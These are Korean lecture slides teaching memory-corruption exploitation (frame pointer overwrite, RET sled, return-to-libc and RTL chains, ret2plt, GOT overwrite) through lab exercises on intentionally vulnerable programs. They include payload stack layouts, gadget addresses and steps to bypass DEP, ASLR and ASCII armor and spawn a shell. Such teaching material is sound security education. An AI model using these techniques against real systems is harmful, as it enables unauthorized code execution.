• 파이썬 exploit 코드
• 환경변수 내용이 시작되는 주소 – 4 를 EBP backup에 쓴다.
• 정확히는 셸 코드 주소를 저장 해 놓은 주소 – 4
• -> 0xffffda5a
• return address에는 앞에서 찾은 leave/ret 코드조각의 주소를 넣는다.
• -> 0x080484a1
SAVED FRAME POINTER OVERWRITING (SFO) • 개념
• 실습 – Linux
SAVED FRAME POINTER OVERWRITING (SFO)
• SFP(Stack Frame Pointer) Overflow, Saved Frame Pointer Overwrite (SFO), FPO(Frame Pointer Overwrite), 1 Byte
Overflow 등 여러 이름으로 불림
• 백업해 둔 EBP(saved frame pointer, SFP)의 1byte만 조작 가능할 때 사용할 수 있는 방법
• ->Off-by-One 취약점에 시도해 볼 만한 방법
• Off-by-One 취약점?
• 프로그램을 짜다 보면 많이 나오는 에러로, <=나 <를 잘못 이용한 경우와 같이 1 차이로 생기는 취약점
• Fake EBP와 비슷하게, EBP를 속여서 exploit 한다.
• 차이점
• SFO는 서브루틴(함수)이 필요
• return address를 조작하여 leave/ret 패턴을 바로 실행할 수 없으므로, 서브루틴에 취약점이 있는 경우에만 이용 가능
• ->return address를 조작하여 leave/ret 하지 않고, 취약점이 있는 서브루틴을 호출한 함수가 종료되며 leave/ret 하는 것을 이용
• SFO는 SFP의 일부만 조작
SAVED FRAME POINTER OVERWRITING (SFO)
• (조작되기 전의) 기존의 EBP backup에는 스택의 주소가 저장되어 있음
• 이 중 맨 뒤 한 바이트를 조작할 수 있는 상황에 이 기법을 이용해볼 수 있음
• Ex) EBP backup으로 저장된 주소가 0xbfffffXX라면 XX를 조작
• ->가까운 버퍼를 이용해야 한다는 제약이 있다
• 셸 코드 주소를 저장해 놓은 버퍼가 오염되지 않아야 함
• return address를 조작할 수 없으므로, 기존 코드를 이어서 실행하게 됨
• 이 때, 다시 함수 에필로그 패턴이 나오기 전까지 셸 코드 주소를 저장한 버퍼가 오염되어서는 안 된다
• 조작된 EBP가 가리키는 위치
• "셸 코드의 시작주소를 저장한 버퍼의 주소" – 4
SAVED FRAME POINTER OVERWRITING (SFO)
...더미 데이터...
셸 코드 주소
Return address
...
...셸 코드...
EBP와 ESP
ESP
<pop 실행 전 스택>
push ebp
mov ebp, esp
sub esp, 0xC8
...코드...
mov esp, ebp
pop ebp
ret
[일반적인 함수]
pop 코드 실행
EBP는
셸 코드 주소를
저장한 버퍼 주소 – 4
를 가리키게 됨
EBP
<pop 실행 후 스택>
...더미 데이터...
셸 코드 주소
Return address
...
...셸 코드...
SAVED FRAME POINTER OVERWRITING (SFO)
ESP
<pop 실행 후 스택>
push ebp
mov ebp, esp
sub esp, 0xC8
...코드...
mov esp, ebp
pop ebp
ret
[일반적인 함수]
ret 코드 실행
EIP는 정상적인 return
address를 이용하여 돌아 감
EBP
<ret 실행 후 스택>
ESP
EBP
...더미 데이터...
셸 코드 주소
Return address
...
...셸 코드...
...더미 데이터...
셸 코드 주소
Return address
...
...셸 코드...
SAVED FRAME POINTER OVERWRITING (SFO)
ESP
...
leave
ret
(정상적으로 프로그램을
실행하다가, 다시 함수가
마쳐서 함수 에필로그가
나옴)
[일반적인 함수]
leave 코드
실행
esp는 ebp+4 를 가리키게 되고,
ebp는 어딘가로 떠내려 간다.
esp가 가리키는 위치에는 셸
코드의 시작 부분에 적어 둔 셸
코드 주소가 있음
EBP
<ret 실행 후 스택>
ESP
EBP
<leave 실행 후 스택>
...더미 데이터...
셸 코드 주소
Return address
...
...셸 코드...
...더미 데이터...
셸 코드 주소
Return address
...
...셸 코드...
SAVED FRAME POINTER OVERWRITING (SFO)
...
leave
ret
(정상적으로 프로그램을
실행하다가, 다시 함수가
마쳐서 함수 에필로그가
나옴)
ret 코드 실행
eip가 셸 코드의 위치를
가리키게 되고, 셸 코드를
실행한다.
EBP
<ret 실행 후 스택>
ESP
EBP
<leave 실행 후 스택>
EIP
ESP
[일반적인 함수]
...더미 데이터...
셸 코드 주소
Return address
...
...셸 코드...
...더미 데이터...
셸 코드 주소
Return address
...
...셸 코드...
SAVED FRAME POINTER OVERWRITING (SFO) – 실습 – LINUX
• 취약 프로그램
• 서브루틴에 Off-by-One 취약점이 있도록 했다
SAVED FRAME POINTER OVERWRITING (SFO) – 실습 – LINUX
• 환경변수에 셸 코드를 저장해 둔다
• fake ebp와는 달리 환경변수에 셸 코드 주소를 저장하지 않음
• 순수하게 셸 코드만 있으면 됨
• 환경변수 주소
• 0xffffda56
SAVED FRAME POINTER OVERWRITING (SFO) – 실습 – LINUX
• 스택 구조
• 이번 취약 프로그램은 버퍼 크기가 앞의 예제와 달리 100임에 주의 (0x64)
...더미 데이터...
EBP backup
Return address
...
...셸 코드...
EBP
EBP - 64
EBP + 4
.
.
.
.
.
EBP + 8
EBP + C
(0xffffcbe8) EBP - 4
0xffffda56
.
.
(0xffffcbe4) EBP - 8
SAVED FRAME POINTER OVERWRITING (SFO) – 실습 – LINUX
• 일부러 예외를 일으켜 core파일을 만들고,
주소를 찾는다.
• "B"에는 셸 코드의 주소를 저장할 것임
• EBP backup의 마지막 한 바이트만 조작해서 접근 가
능한/그리고 조작 가능한 위치를 찾음
• "C"는 EBP backup을 1바이트 조작한 것
• "B"를 저장한 주소 – 4 값이 들어가야 함
• "B"가 저장된 주소
• 0xffffcbe8
• "C"에 넣어야 하는 값
• 0xe4
SAVED FRAME POINTER OVERWRITING (SFO) – 실습 – LINUX
• Exploit
...더미 데이터...
ff ff da 56
ff ff cb e4
Return address
...
...셸 코드...
EBP
EBP - 64
EBP + 4
.
.
.
.
.
EBP + 8
EBP + C
(0xffffcbe8) EBP - 4
0xffffda56
.
.
(0xffffcbe4) EBP - 8
RET SLED • 개념
• 실습 – Linux
RET SLED
• return address에 스택 주소를 곧바로 이용할 수 없는 상황이나 버퍼(지역변수)를 이용할 수 없
는 상황에서 사용할 만한 방법
• RET 코드의 주소를 return address에 넣음
• RET 코드 주소 아래에 셸 코드의 주소를 넣음
• RET를 실행하며 타고 내려가서 RET sled
• EIP 뿐만 아니라 ESP를 조정하는 등의 용도로도 이용 가능할 듯
RET SLED
ESP
...더미 데이터...
EBP backup
&RET
&RET
...
&RET
...
셸 코드 주소
...
...셸 코드...
ESP
EIP
쭉 ret 실행
RET을 반복적으로 실행
ESP가 스택을 타고
내려간다
마지막 ret 실행
셸 코드 주소를
이용하여 RET실행
EIP는 셸 코드를
가리키게 된다
...더미 데이터...
EBP backup
&RET
&RET
...
&RET
...
셸 코드 주소
...
...셸 코드...
...더미 데이터...
EBP backup
&RET
&RET
...
&RET
...
셸 코드 주소
...
...셸 코드...
ESP
RET SLED – 실습 – LINUX
• 취약 프로그램
• 다시 이용하던 프로그램 이용
• 환경변수에 셸 코드를 넣어 둠
• 주소는 0xffffda56
RET SLED – 실습 – LINUX
• objdump로 ret 코드를 찾음
• 0x08048312에 있는 코드를 이용할 것임
RET SLED – 실습 – LINUX
• exploit
• 한 번만 거쳤음
...더미 데이터...
EBP backup
&RET
셸 코드 주소
...
...셸 코드...
EBP
EBP - CC
EBP + 4
EBP - C8
.
.
.
.
.
EBP + 8
0xffffda56
RETURN TO LIBRARY (RTL) • 실습 – Linux
• 실습 – Windows
RETURN TO LIBRARY(RTL)
• 스택에 함수의 인자를 넣어두고, return address에 라이브러리 함수 주소를 넣는다
• 셸 코드 없이 원하는 작업을 할 수 있다
• DEP을 우회할 수 있다.
• Data Execution Prevention : 실행 권한이 없는 메모리 영역의 코드가 실행되지 못하도록 방지하는 기법
• 스택이나 힙에 저장된 코드를 실행하지 못 하도록 함
• 셸 코드를 이용하지 않으므로 스택에 저장된 코드를 실행 하지도 않음. 따라서 DEP을 우회.
• 셸 코드를 탐지하는 보안장치를 우회하는 용도로도 쓸 수 있다.
DEP
방어기술
RTL
RETURN TO LIBRARY(RTL) – 실습 – LINUX
• 리눅스에서의 RTL은 Return To Libc라고 쓰기도 함
• Libc는 리눅스에서 사용하는 C standard library를 의미한다
• ASLR을 끄고, DEP을 켠다.
• 컴파일 시 -z execstack를 쓰지 않으면 DEP이 기본적으로 설정 됨
• 또는 –z noexecstack을 쓰면 설정 됨
• 이 상태로 기존 셸 코드를 실행하면 세그멘테이션 오류가 난다.
RETURN TO LIBRARY(RTL) – 실습 – LINUX
• 먼저 사용할 함수의 주소를 알아낸다.
• 사용할 함수는 system함수
• static library를 링킹하지 않았다면 디폴트로 동적 라이브러리를 이용함
• static으로 연결한 경우에도 마찬가지로 함수 주소를 알아내어 이용 가능
• 취약 프로그램을 gdb에 올리고, bp를 걸고 프로그램을 실행한 뒤, system 심볼이 가리키는 주소를 뽑으면 됨
• print system 명령어를 이용하면 system 심볼이 가리키는 주소를 알려준다
• 함수를 이용하는 코드에 가서 plt에서 함수의 주소를 구하고 호출하는 루틴을 찾아가도 됨
RETURN TO LIBRARY(RTL) – 실습 – LINUX
• 먼저 사용할 함수의 주소를 알아낸다.
• 라이브러리가 올라온 base address를 구하고, readelf를 이용하여 라이브러리 함수가 올라오는 offset을 구해 직접 주소를
계산하는 방법도 있다
• info proc mappings로 프로세스의 메모리가 어떻게 매핑되었나 확인, 그 라이브러리에 readelf를 이용하여 오프셋 뽑음
• ldd 명령어로 사용하는 라이브러리의 이름과 base 주소를 알아낼 수도 있음
*참고로 libc.so.6은 libc-2.23.so의 심볼릭 링크 파일이다
RETURN TO LIBRARY(RTL) – 실습 – LINUX
• system 함수의 주소가 0xf7e3bda0임을 알아냈음
• 이를 return address에 넣어줄 것
• return address 아래 4바이트의 dummy를 넣고, 그 아래 system 함수의 인자를 넣는다.
• 함수 인자로는 /bin/sh 문자열이 저장된 주소가 들어갈 것
• system("/bin/sh"); 코드를 실행했을 때와 같은 스택을 연출한다.
• /bin/sh 문자열은 적절한 위치(주소를 예측할 수 있고 읽을 수 있는)에 있어야 한다
• 문자열 주소 뒤쪽 스택이나, 환경변수 등을 이용해 저장한다
• 이 주소를 system 함수의 인자로 넣음
• 이번 예에서는 환경변수를 이용하기로 함
• return address 위치에 함수 주소를 넣고, 4바이트만큼의 dummy 데이터를 넣은 후, WinExec 함수의 인자를 스택에 넣는다.
• ret 명령어를 통해 system 함수 주소로 가서 함수를 실행한다.
• system 함수 주소 밑에 있는 dummy는 함수를 정상적으로 호출했을 때, return address가 저장되는 위치
• call system 가 아니라 ret를 통해 EIP가 변경되었으므로 return address가 들어가지 않음
• 함수를 정상적으로 호출했을 때 함수의 인자가 있는 위치(return address 보다 위쪽 스택)에 함수 인자를 넣어두었으므로, 정상적으로
함수의 작업을 진행할 수 있음
...더미 데이터...
EBP backup
system 함수 주소
...dummy...
"/bin/sh" 문자열 주소
...
...
환경변수들
...
EBP
EBP - C8
EBP + 4
EBP - C4
.
.
.
.
.
.
EBP + 8
EBP + C
<스택 BOF 후 스택>
EBP + 10
EBP + 14
RETURN TO LIBRARY(RTL) – 실습 – LINUX
• 환경변수를 등록하고, 그 주소를 알아냈음
• 환경변수는 0xffffda6e에 있음
RETURN TO LIBRARY(RTL) – 실습 – LINUX
• Exploit
• 셸을 따는 것에 성공은 하지만 입력을 끝내면 세그멘테이션 오류가 난다
• system 함수를 마치고 돌아갈 return address에 쓰레기 값을 넣었으므로, 종료가 제대로 되지 않음
• ->뒤에서 해결 방법을 알아볼 것
RETURN TO LIBRARY(RTL) – 실습 – WINDOWS
• 취약 프로그램에 DEP을 적용하여 컴파일 한다.
• 앞서 실습할 때 켰던 SG를 끄는 것을 잊지 말자
RETURN TO LIBRARY(RTL) – 실습 – WINDOWS
• 이전 셸 코드를 사용하여 실행하면 프로그램이 종료된다.
• 올리 디버거에서는 DEP을 적용한 프로그램에서 스택으로 ret하면 오른쪽과 같은 에러 메시지를 띄운다.
RETURN TO LIBRARY(RTL) – 실습 – WINDOWS
• 원하는 함수의 주소를 알아낸다.
• ASLR이 적용되지 않아야 가능
• WinExec로 cmd를 실행하도록 할 것이므로, WinExec 함수의 주소를 알아냈다.
RETURN TO LIBRARY(RTL) – 실습 – WINDOWS
• return address 위치에 함수 주소를 넣고, 4바이트만큼의 dummy 데이터를 넣은 후,
WinExec 함수의 인자를 스택에 넣는다.
• WinExec("cmd", 5); 코드를 실행했을 때와 같은 스택을 연출한다
• 5가 먼저 push되고, 그 다음 "cmd"문자열 주소가 push됨에 주의 (5가 높은 주소, "cmd" 주소가 낮은 주소에 위치)
• "cmd" 문자열은 적절한 위치에 저장되어 있어야 한다.
• 이 예에서는 WinExec 인자의 아래쪽에 넣겠음
• ASLR을 적용하지 않았기 때문에 스택 주소를 알 수 있으므로
• ret 명령어를 통해 WinExec 함수 주소로 가서 함수를 실행한다.
• WinExec 함수 주소 밑에 있는 dummy는 함수를 정상적으로 호출했을 때, return address가 저장되는 위치
• call WinExec가 아니라 ret를 통해 EIP가 변경되었으므로 return address가 들어가지 않음
• 함수를 정상적으로 호출했을 때 함수의 인자가 있는 위치(return address 보다 위쪽 스택)에 함수 인자를 넣어두었
으므로, 정상적으로 함수의 작업을 진행할 수 있음
...더미 데이터...
EBP backup
WinExec함수 주소
...dummy...
"cmd" 문자열 주소
5
0 d m c
...
EBP
EBP - C8
EBP + 4
EBP - C4
.
.
.
.
.
.
EBP + 8
EBP + C
<스택 BOF 후 스택>
EBP + 10
EBP + 14
RETURN TO LIBRARY(RTL) – 실습 – WINDOWS
• Exploit
• cmd 문자열을 저장한 주소는 0x19FF54
• 셸 코드를 이용하지 않아서 스택에 있는 코드를 실행 하지도 않았다.
• 하지만 WinExec를 마치고 돌아갈 return address에 쓰레기 값을 넣었으므로, 종료가 제대로 되지 않음
• ->뒤에서 해결 방법을 알아볼 것
RTL CHAIN
• 개념
• 실습 – Linux
• 실습 – Windows
RTL CHAIN
• RTL chain
• 기존의 RTL은 하나의 함수만 이용 가능했다. 그 점을 보완하여, 여러 함수를 연속적으로 호출할
수 있도록 연결한 것
• RTL을 이어 여러 함수를 실행할 수 있도록 함
• 함수 주소 아래 넣던 쓰레기 값 대신 "RET" 코드가 있는 주소를 넣어준다
• 함수 호출 규약에 따라 "POP POP RET" 이나 "POP RET" 패턴이 필요한 경우도 있음
• caller쪽에서 스택을 정리하는 경우
• 스택을 조정하는 명령어+RET 조합의 코드를 찾아 &RET에 넣어 ESP를 잘 조절해 이용
• 함수 인자 아래에는 다음에 실행할 함수의 주소와 "RET" 코드 주소, 그리고 함수 인자를 넣는다.
• 이렇게 실행하고 싶은 함수들을 체인처럼 엮어 RTL chain이라고 함
...더미 데이터...
EBP backup
함수1 주소
&RET
함수1 인자
함수 2 주소
&RET
함수 2 인자
...
EBP
EBP - C8
EBP + 4
EBP - C4
.
.
.
.
.
.
EBP + 8
EBP + C
<스택 BOF 후 스택>
RTL CHAIN
...더미 데이터...
EBP backup
함수1 주소
&RET
함수1 인자
함수 2 주소
&RET
함수 2 인자
...
ESP
push ebp
mov ebp, esp
sub esp, 0xC8
...코드...
mov esp, ebp
pop ebp
ret
[일반적인 함수]
...더미 데이터...
EBP backup
함수1 주소
&RET
함수1 인자
함수 2 주소
&RET
함수 2 인자
...
ESP
RET 코드 실행 :
함수 1 주소로 가서
함수1을 실행한다.
RTL CHAIN
...더미 데이터...
EBP backup
함수1 주소
&RET
함수1 인자
함수 2 주소
&RET
함수 2 인자
...
ESP
...코드...
mov esp, ebp
pop ebp
ret 8
[라이브러리 함수]
...더미 데이터...
EBP backup
함수1 주소
&RET
함수1 인자
함수 2 주소
&RET
함수 2 인자
...
ESP
함수1 에필로그 RET 8 코드 실행 :
ESP에 저장된 값을 EIP에
POP하고, 함수1의 인자를 위해
이용한 스택 8바이트를 정리한다
RTL CHAIN
...더미 데이터...
EBP backup
함수1 주소
&RET
함수1 인자
함수 2 주소
&RET
함수 2 인자
...
ESP
...코드...
ret
[&ret]
...더미 데이터...
EBP backup
함수1 주소
&RET
함수1 인자
함수 2 주소
&RET
함수 2 인자
...
ESP
RET 실행 :
ret 코드가 있는 주소로 왔으니,
ret 코드를 실행하게 된다.
함수2의 주소로 가 함수2를
실행한다.
RTL CHAIN – 실습 – LINUX
• read함수와 system 함수, 그리고 exit함수를 이용할 것
• ssize_t read (int fd, void *buf, size_t len)
• read(STDIN, 원하는 주소, 길이)
• 원하는 주소에 stdin 입력 값을 넣는다. (0으로 정의되어 있음)
• STDIN 입력으로 /bin/sh 문자열을 넣을 것임
• 길이는 NULL까지 해서 8 바이트
• int system(const char * string)
• system(read함수에 넣었던 주소)
• read함수의 결과값을 저장한 주소에는 /bin/sh 문자열이 있을 것
• void exit(int status)
• status는 그냥 1으로 했음
• 같은 방법으로, 주소를 알아 냄
• read 함수 주소 : 0xf7ed6af0
• system 함수 주소 : 0xf7e3bda0
• exit 함수 주소 : 0xf7e2f9d0
RTL CHAIN – 실습 – LINUX
• read함수와 system 함수의 인자로 줄 주소를 정해야 함
• read 함수를 이용해 STDIN에서 읽은 데이터를 저장할 것
• -> write 권한이 있어야 함
• system 함수를 이용해 주소에 저장된 내용을 읽을 수 있어야 함
• -> read 권한이 있어야 함
• 또한 주소는 변경되지 않아야 함
• 스택보다는 data, bss, dynamic 섹션이 좋음
• readelf를 이용하여 적절한 주소를 정한다.
RTL CHAIN – 실습 – LINUX
• bss 의 시작주소 0x0804a020를 쓰기로 함
• (bss 크기가 4밖에 안 되고, bss가 Load 세그먼트의 끝에 있으며, 메모리 사이즈도 계산해 보
면 bss의 끝인 것 같지만, segment의 alignment가 있어서 빈자리는 충분하다)
bss 섹션이 속한
세그먼트
RTL CHAIN – 실습 – LINUX
• 이 함수들은 모두 cdecl 함수 호출 규약에 따르고 있다
• 함수 인자 스택을 호출자가 정리해 주어야 함
• 단순히 RET의 주소는 이용 불가
• 함수 인자 push 순서는 오른쪽부터 (오른쪽에 있는 게 더 높은 주소)
• read 함수 : 4바이트 인자 3개
• -> POP/POP/POP/RET이나 RET C, 또는 ADD ESP, C/RET 등의 패턴이 필요
• system 함수 : 4바이트 인자 1 개
• -> POP/RET이나 RET 4, 또는 ADD ESP, 4/RET 등의 패턴이 필요
• exit 함수 : 별로 상관 없음
• objdump와 grep을 이용하여 이에 해당하는 패턴을 찾음
• read 함수를 위한 POP/POP/POP/RET 패턴은 0x8048509에 있음
• system 함수를 위한 POP/RET 패턴은 0x8048526에 있음
RTL CHAIN – 실습 – LINUX
• read 함수 주소 : 0xf7ed6af0
• pop/pop/pop/ret : 0x08048509
• read 인자 – STDIN : 0x00000000
• read 인자 – 버퍼 주소 : 0x0804a020
• read 인자 – len : 0x00000008
• system 함수 주소 : 0xf7e3bda0
• pop/ret : 0x08048526
• system 인자 – 버퍼 주소 : 0x0804a020
• exit 함수 주소 : 0xf7e2f9d0
• exit 인자 - status : 0x00000001
...더미 데이터...
EBP backup
read 주소
&PPPR
STDIN
&bss
len
system 주소
&PR
&bss
exit 주소
쓰레기값
1
...
EBP
EBP - C8
EBP + 4
EBP - C4
.
.
.
.
.
.
EBP + 8
EBP + C
EBP + 10
EBP + 14
EBP + 18
EBP + 1C
EBP + 20
EBP + 24
EBP + 28
EBP + 2C
RTL CHAIN – 실습 – LINUX
• Exploit
• 실제로 사용해 보면 말썽인 부분이 있다
• buffer 주소로 이용한 bss 시작 주소에 x20은 space의 아스키코드에 해당한다. 따라서 그보다 4 높은 주소에 넣었다.
• POP/POP/POP/RET 코드의 주소에 x09는 제어문자에 해당하여 scanf로 입력되지 않는다.
• ->뒷 페이지에서 찾은 것 설명
• 코드에 exit 뒤에 쓰레기 값을 넣는 것을 깜박했지만, 딱히 상관은 없음..
+ "A"*4
RTL CHAIN – 실습 – LINUX
• POP/POP/POP/RET 코드의 주소에 x09는 제어문자에 해당하여 scanf로 입력되지 않는다.
• 기존에 뽑은 위치의 위쪽 명령어를 하나 더 뽑아봤는데, 위에도 pop이 있어 쓸 수 없겠다.
• POP/RET 코드로 이용했던 코드에서, POP 코드 바로 위에 add esp, 0x8 코드가 있다
• POP/POP/POP/RET 과 똑같은 효과를 낸다!
• -> PPPR 주소로는 0x08048523을 이용한다.
RTL CHAIN – 실습 – LINUX
• Exploit 후 STDIN으로 /bin/sh을 입력한다.
• 그 후 명령어를 입력하면 정상 작동
• exit 함수도 넣었기 때문에 종료도 정상적으로 이뤄진다.
RTL CHAIN – 실습 – WINDOWS
• win API는 stdcall 함수 호출 규약을 이용한다
• callee가 스택 정리
• 일반적으로 RET 코드를 이용
• 또는 원하는 값을 저장하고 이용한 뒤 스택 조정 코드를 통해 정리해도 OK
• WinExec를 호출하고, 이어서 ExitProcess를 호출하도록 하겠음
RTL CHAIN – 실습 – WINDOWS
• 앞에서 사용한 셸 코드를 재활용하기 위해 "cmd"문자열 위치를 그대로 두
었음
• 문자열 자체는 함수 인자에 들어가지 않으므로, WinExec 함수의 에필로그에서 스택이 정리되
지 않음
• -> POP RET 패턴의 코드를 return address로 이용하여 정리할 것
• ExitProcess 함수는 return할 주소가 필요 없기 때문에 쓰레기 값을 넣었음
...더미 데이터...
EBP backup
WinExec 주소
&PR
"cmd" 문자열 주소
5
0 d m c
ExitProcess 주소
쓰레기값
1
...
EBP
EBP - C8
EBP + 4
EBP - C4
.
.
.
.
.
.
EBP + 8
EBP + C
EBP + 10
EBP + 14
EBP + 18
EBP + 1C
EBP + 20
RTL CHAIN – 실습 – WINDOWS
• POP/RET 패턴 찾기
• immunity debugger의 search 모듈을 이용하여 찾을 수 있다.
• !search pop r32nret 명령어 이용
• EXE에 속한 0x00401022 주소를 이용하기로 하자
RTL CHAIN – 실습 – WINDOWS
• Exploit
• 더이상 에러 메시지가 뜨지 않음!
RET2PLT (LINUX) • 개념
• 실습 – Linux
RET2PLT (LINUX)
• Return to PLT
• 라이브러리 함수 주소를 이용할 수 없는 경우 -> PLT의 주소를 이용
• RTL에서, 라이브러리 주소 대신 PLT의 주소를 넣는다
• ASCII Armor와 ASLR을 우회하며 RTL을 적용하기 위한 방법
• ASCII Armor : 라이브러리를 낮은 주소에 넣어 주소에 0x00이 들어가게 하는 방어기법
• shellcode에 0x00이 들어가야 하는데, 보통 문자열을 다루는 취약한 함수들은 0x00을 만나면 입력 받기를 끝내므로,
shellcode가 제대로 입력되지 않아 공격에 실패하게 된다
• 주의
• 이 방법을 이용하기 위해서는 원본 프로그램이 해당 함수를 이용하여 실행 파일에 PLT가 잡혀 있어야 한다.
RET2PLT (LINUX) – 실습
• 취약 프로그램
• system함수와 exit 함수의 PLT를 잡아 주기 위해 예제를 변경했음
• 컴파일 설정에서 –z execstack을 없애어 DEP 설정
• OS 설정으로 ASLR 켬
RET2PLT (LINUX) – 실습
• 계획
• RET2PLT로 scanf 호출
• ASLR이 적용되지 않는, ELF 실행 파일의 영역에 /bin/sh 문자열 저장
• 다음 RET2PLT로 system 호출
• 위에서 이용한 버퍼 주소를 인자로 하여 실행
• -> RET chain과 같음(PLT를 이용한다는 점만 다름)
• 스택 정리 코드 필요
• 다음 RET2PLT로 exit 호출
• 스택 구조
• 지역변수로 200바이트 크기의 배열을 이용
• 쓰던 예제들과 같음.
• scanf를 호출할 때, 포맷 스트링 "%s"가 필요
• 이 문자열은 코드상에서 이용한다. 데이터 영역에 있으므로 주소 고정
• 코드에서 찾아보면 0x08048550 임을 알 수 있음
RET2PLT (LINUX) – 실습
• gdb에서 info functions를 이용해 간단히 plt의 주소를
알아낸다
• system의 PLT 주소 : 0x08048340
• exit의 PLT 주소 : 0x08048350
• scanf의 PLT 주소 : 0x08048370
RET2PLT (LINUX) – 실습
• 문자열을 저장할 만한 위치 잡
기
• bss 영역에 저장하기로 함
• 버퍼 주소 : 0x0804a028
RET2PLT (LINUX) – 실습
• scanf는 인자의 개수가 유동적이므로, 인자 수에 따라 스택을 정리
• %s 문자열 주소를 찾아서 인자로 넣음, 그리고 입력 값을 저장할 주소를 넣음
• -> 8바이트 정리해야 함 : pop/pop/ret 패턴 필요
• system은 포인터를 인자로 받음
• -> 4바이트 정리해야 함 : pop/ret 패턴 필요
• POP/POP/RET 패턴 주소
• 0x0804852a
• POP/RET 패턴 주소
• 0x08048546
RET2PLT (LINUX) – 실습
• scanf의 PLT 주소 : 0x08048370
• PPR 패턴 주소 : 0x0804852a
• 포맷 스트링 주소 : 0x08048550
• bss 버퍼 주소 : 0x0804a028
• system의 PLT 주소 : 0x08048340
• PR 패턴 주소 : 0x08048546
• bss 버퍼 주소 : 0x0804a028
• exit의 PLT 주소 : 0x08048350
...더미 데이터...
EBP backup
scanf PLT주소
&PPR
&포맷 스트링
&bss
system PLT 주소
&PR
&bss
exit PLT 주소
쓰레기값
1
...
EBP
EBP - C8
EBP + 4
EBP - C4
.
.
.
.
.
.
EBP + 8
EBP + C
EBP + 10
EBP + 14
EBP + 18
EBP + 1C
EBP + 20
EBP + 24
EBP + 28
RET2PLT (LINUX) – 실습
• exploit
• ASLR, DEP, ASCII armor 돌파!
+ "A"*4
RET2DL (LINUX)
• Return To Dynamic Linker
• 동적 라이브러리 링킹에 이용되는 동적 링커를 이용한다
• 동적 링커는 호출하고자 하는 함수의 주소를 찾아서 GOT에 적어주는 일을 함
GOT OVERWRITE (LINUX) • 실습 – Linux
GOT OVERWRITE (LINUX)
• GOT를 조작하여 실제 함수와 다른 함수가 호출되도록 함
• GOT를 조작한 뒤, 조작한 함수를 ret2plt 하면 조작된 GOT를 이용하여 함수를 호출함
• GOT overwrite 하나만으로는 방어기법을 우회할 수 없으므로, 방어기법을 전부 끄고 실습할 것
• 뒤에서 공부할 ROP에서 유용하게 이용 됨
• ROP에서 GOT overwrite를 이용하여 방어기법을 우회하는 법을 살펴볼 것
• 먼저 GOT overwrite를 이해하기 위해 방어기법을 끄고 실습한다
GOT OVERWRITE (LINUX) – 실습
• 취약 프로그램
• 원래 이용하던 프로그램에 exit 코드 추가했음
• exit 함수도 GOT overwrite를 이용하여 호출할 수 있지만, 귀찮아서 그냥
ret2plt로 처리하려고 추가했음
• 굳이 전역변수로 exit함수가 무조건적으로 불리지 않게 한 것은 main함수
에필로그를 남겨놓고 싶어서 이다
• 그냥 exit 함수를 호출하면 컴파일러가 에필로그를 안 써줄 수도 있음
• ret2plt를 응용하여 GOT overwrite 하겠음
• scanf를 이용하여 printf의 GOT에 system 함수의 주소를 저장
• printf를 호출하면 system 함수가 호출됨
GOT OVERWRITE (LINUX) – 실습
• 필요한 것
• scanf의 PLT 주소
• PPR 패턴 주소
• 포맷 스트링 주소
• printf의 GOT 주소
• bss 버퍼 주소
• printf의 PLT 주소
• PR 패턴 주소
• exit의 PLT 주소
...더미 데이터...
EBP backup
scanf PLT 주소
&PPR
&포맷 스트링
printf GOT 주소
scanf PLT 주소
&PPR
&포맷 스트링
&bss
printf PLT 주소
&PR
&bss
exit PLT 주소
쓰레기값
1
...
EBP
EBP - C8
EBP + 4
.
.
.
.
.
EBP + 8
EBP + C
EBP + 10
EBP + 14
EBP + 18
EBP + 1C
EBP + 20
EBP + 24
EBP + 28
EBP + 2C
EBP + 30
EBP + 34
GOT OVERWRITE (LINUX) – 실습
• scanf의 PLT 주소 : 0x08048370
• PPR 패턴 주소
• 포맷 스트링 주소 : 0x0804856e
• printf의 GOT 주소
• bss 버퍼 주소
• printf의 PLT 주소 : 0x08048340
• PR 패턴 주소
• exit의 PLT 주소 : 0x08048350
GOT OVERWRITE (LINUX) – 실습
• scanf의 PLT 주소 : 0x08048370
• PPR 패턴 주소 : 0x0804853a
• 포맷 스트링 주소 : 0x0804856e
• printf의 GOT 주소
• bss 버퍼 주소 : 0x0804a028
• printf의 PLT 주소 : 0x08048340
• PR 패턴 주소 : 0x08048556
• exit의 PLT 주소 : 0x08048350
GOT OVERWRITE (LINUX) – 실습
• scanf의 PLT 주소 : 0x08048370
• PPR 패턴 주소 : 0x0804853a
• 포맷 스트링 주소 : 0x0804856e
• printf의 GOT 주소 : 0x0804a00C
• bss 버퍼 주소 : 0x0804a028
• printf의 PLT 주소 : 0x08048340
• PR 패턴 주소 : 0x08048556
• exit의 PLT 주소 : 0x08048350
• GOT 주소 찾기
• objdump로 디스어셈블, 찾고자 하는 함수 이름으로 grep
• PLT에서 참조하여 점프하는 곳이 GOT이다.
GOT OVERWRITE (LINUX) – 실습
• scanf 입력 값으로 넣을 system 함수의 주소를 구한다
• ASLR을 끄고 구함
• 0xf7e3bda0
GOT OVERWRITE (LINUX) – 실습
• scanf의 PLT 주소 : 0x08048370
• PPR 패턴 주소 : 0x0804853a
• 포맷 스트링 주소 : 0x0804856e
• printf의 GOT 주소 : 0x0804a00C
• scanf의 PLT 주소 : 0x08048370
• PPR 패턴 주소 : 0x0804853a
• 포맷 스트링 주소 : 0x0804856e
• bss 버퍼 주소 : 0x0804a028
• printf의 PLT 주소 : 0x08048340
• PR 패턴 주소 : 0x08048556
• bss 버퍼 주소 : 0x0804a028
• exit의 PLT 주소 : 0x08048350
...더미 데이터...
EBP backup
scanf PLT 주소
&PPR
&포맷 스트링
printf GOT 주소
scanf PLT 주소
&PPR
&포맷 스트링
&bss
printf PLT 주소
&PR
&bss
exit PLT 주소
쓰레기값
1
...
EBP
EBP - C8
EBP + 4
.
.
.
.
.
EBP + 8
EBP + C
EBP + 10
EBP + 14
EBP + 18
EBP + 1C
EBP + 20
EBP + 24
EBP + 28
EBP + 2C
EBP + 30
EBP + 34
GOT OVERWRITE (LINUX) – 실습
• exploit
• scanf로 받기 때문에 입력 값 맨 뒤에 NULL 문자가 들어 감
• -> GOT와 같은 곳에 NULL이 들어가면 뒤에 있는 함수의 GOT를 망침
• NULL 문자가 바로 뒤에 있는 exit 함수의 GOT에 영향을 끼쳐서 문제가 일어났음
• GOT를 조작하고자 하는 함수의 뒤쪽 GOT를 이용하는 함수를 호출하지 않는다면 고려하지 않아도 되지만, 호출해야 한다면 잘 생각해야 함
• printf의 GOT 주소인 0x0804a00c에서 0x0c를 scanf에 넣을 수 없음
• 제어문자에 해당
